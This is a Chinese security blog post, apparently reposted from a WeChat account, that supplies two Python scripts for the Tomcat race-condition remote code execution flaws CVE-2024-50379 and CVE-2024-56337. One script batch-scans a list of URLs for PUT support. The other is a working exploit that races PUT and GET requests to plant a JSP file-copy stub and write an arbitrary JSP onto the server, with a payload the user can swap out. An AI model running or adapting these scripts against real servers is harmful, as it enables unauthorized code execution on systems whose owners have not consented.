本来Tomcat这个洞到昨天也就结束了,但是有师傅说出个脚本,好吧。满足,必须满足,而且出两个脚本。
这个脚本用于初步探测目标是否支持PUT请求,开启PUT不一定存在漏洞,但是没有开启肯定是不存在的。
读取同目录下的url.txt,进行批量探测:
python tomcat.py
初步实现批量发包还是比较快就完成了,但是后续在测试过程中,由于漏洞本身的限制,加上仔细探索之后发现的问题,一直微调,调了好几个小时,完成了最终版本:
执行完成后,脚本会访问最后生成的文件地址做判断,并返回结果:
请看VCR
测试环境:
Win7虚拟机(4H4G)
Apache Tomcat 9.0.98(基于java8启动)
不过还有个问题哈,忘记加设置代理了,懒得加了。不过也无所谓,手机开热点就行了,浏览器要访问的话再用个隐私模式:
set http_proxy=httP://127.0.0.1:8080
set https_proxy=httP://127.0.0.1:8080
如果你实在要用代理,可以在CMD中临时设置,只要这个CMD窗口不关,它就会一直生效。也就意味着,你在这个CMD中执行的命令所发出的流量,都会走代理:
POC代码:
import requests from concurrent.futures import ThreadPoolExecutor import time import threading print("\n==================================") print(" \u26A0 安全提示\u26A0") print(" ") print(" ") print("此脚本仅可用于合法授权的测试环境") print("请勿使用此脚本进行未经授权的测试") print("==================================\n") # 最后生成的脚本文件内容,此处可自行更改(请勿用于非授权测试) txt = r""" GIF89a <%@page import="java.text.SimpleDateFormat"%> <%@page import="java.util.Date"%> <%@ page language="java" contentType="text/html; UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>java_bean</title> </head> <body> <% Date date = new Date(); SimpleDateFormat df = new SimpleDateFormat("yyyy-MM--dd HH:mm:ss"); String today = df.format(date); %> Time:<%= today%> </body> </html> """ def get_custom_file_names(): a1_name = input("请输入第一个文件的文件名前缀(不含后缀,例如 a1):").strip() a2_name = input("请输入第二个文件的文件名前缀(不含后缀,例如 a2):").strip() jsp_prefix = input("请输入最后生成的JSP文件名前缀(不含后缀,例如 time):").strip() return a1_name, a2_name, jsp_prefix # JSP脚本内容,请勿更改 def generate_jsp_script(a1_name, jsp_prefix): return f""" <%@ page import="java.io.*" %> <% String sourceFilePath = application.getRealPath("/") + "{a1_name}.txt"; String destinationFilePath = application.getRealPath("/") + "{jsp_prefix}.jsp"; try {{ FileReader fileReader = new FileReader(sourceFilePath); BufferedReader bufferedReader = new BufferedReader(fileReader); FileWriter fileWriter = new FileWriter(destinationFilePath); BufferedWriter bufferedWriter = new BufferedWriter(fileWriter); String line; while ((line = bufferedReader.readLine()) != null) {{ bufferedWriter.write(line); bufferedWriter.newLine(); }} bufferedReader.close(); bufferedWriter.close(); out.println("SAVA_PATH: " + destinationFilePath); }} catch (IOException e) {{ e.printStackTrace(); out.println("Error: " + e.getMessage()); }} %> """ def send_request(event, base_url, method, url, data=None): event.wait() full_url = base_url + url try: if method == 'GET': response = requests.get(full_url) elif method == 'PUT': response = requests.put(full_url, data=data) print(f"Request to {full_url} {method} - Status Code: {response.status_code}") except Exception as e: print(f"Request to {full_url} {method} failed: {e}") def send_requests_batch(base_url, get_requests, put_requests): event = threading.Event() # 创建事件,控制请求同步发送 with ThreadPoolExecutor(max_workers=40) as executor: # 发送 GET 请求 for method, url in get_requests * 5: executor.submit(send_request, event, base_url, method, url) # 发送 PUT 请求 for method, url, data in put_requests * 5: executor.submit(send_request, event, base_url, method, url, data) event.set() def check_exploit_success(base_url, jsp_prefix): target_url = base_url + f'{jsp_prefix}.jsp' try: response = requests.get(target_url) if response.status_code == 200: print("\n\n========================") print(f"\u2713 成功提示:恭喜你屌毛,利用成功!") print(f"\u2713 访问链接: {target_url}") print("========================\n") else: print(f"【-】失败提示:利用失败,无法访问: {target_url},状态码: {response.status_code}") except Exception as e: print(f"【-】失败提示:利用失败,请确认是否存在漏洞或进行重试,错误信息: {e}") def send_all_requests(): base_url = input("请输入目标地址(URL最后需要带斜杠,例如:http://127.0.0.1:8080/):").strip() # 获取用户自定义文件名 a1_name, a2_name, jsp_prefix = get_custom_file_names() # 更新请求列表 get_requests = [ ('GET', f'{a1_name}.txt'), ('GET', f'{a2_name}.txt'), ('GET', f'{a1_name}.jsp'), ('GET', f'{a2_name}.jsp') ] put_requests = [ ('PUT', f'{a1_name}.Txt', txt), ('PUT', f'{a2_name}.Txt', txt), ('PUT', f'{a1_name}.Jsp', generate_jsp_script(a1_name, jsp_prefix)), ('PUT', f'{a2_name}.Jsp', generate_jsp_script(a1_name, jsp_prefix)) ] # 请求组发送次数 for _ in range(30): send_requests_batch(base_url, get_requests, put_requests) # 请求间隔,默认 0 秒 time.sleep(0) # 在所有请求完成后检查是否成功 check_exploit_success(base_url, jsp_prefix) if __name__ == "__main__": send_all_requests()
import requests file_path = "123.txt" data = "123" headers = {"Content-Type": "text/plain"} timeout = 5 with open("url.txt", "r") as f: urls = [line.strip() for line in f if line.strip()] vulnerable_urls = [] for url in urls: try: print(f"[TARGET] 正在测试: {url} ", end="") response = requests.put(f"{url}/{file_path}", data=data, headers=headers, timeout=timeout) print(f"状态码: {response.status_code}") if 200 <= response.status_code < 300: vulnerable_urls.append(url) except requests.exceptions.Timeout: print(f"[WARNING] 超过 {timeout} 秒未响应,跳过。") except requests.exceptions.RequestException as e: print(f"[ERROR] 请求时发生错误: {e}") if vulnerable_urls: print("\n\n测试已结束,以下目标疑似存在漏洞特征,请进一步确认:") for v_url in vulnerable_urls: print(f"[+] {v_url}") else: print("[INFO] 此次测试未发现异常。")
0x03 脚本获取
链接:https://pan.quark.cn/s/c00039a96a40
原文始发于微信公众号(犀利猪安全):满足你 | Tomcat条件竞争RCE利用脚本:CVE-2024-50379、CVE-2024-56337
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论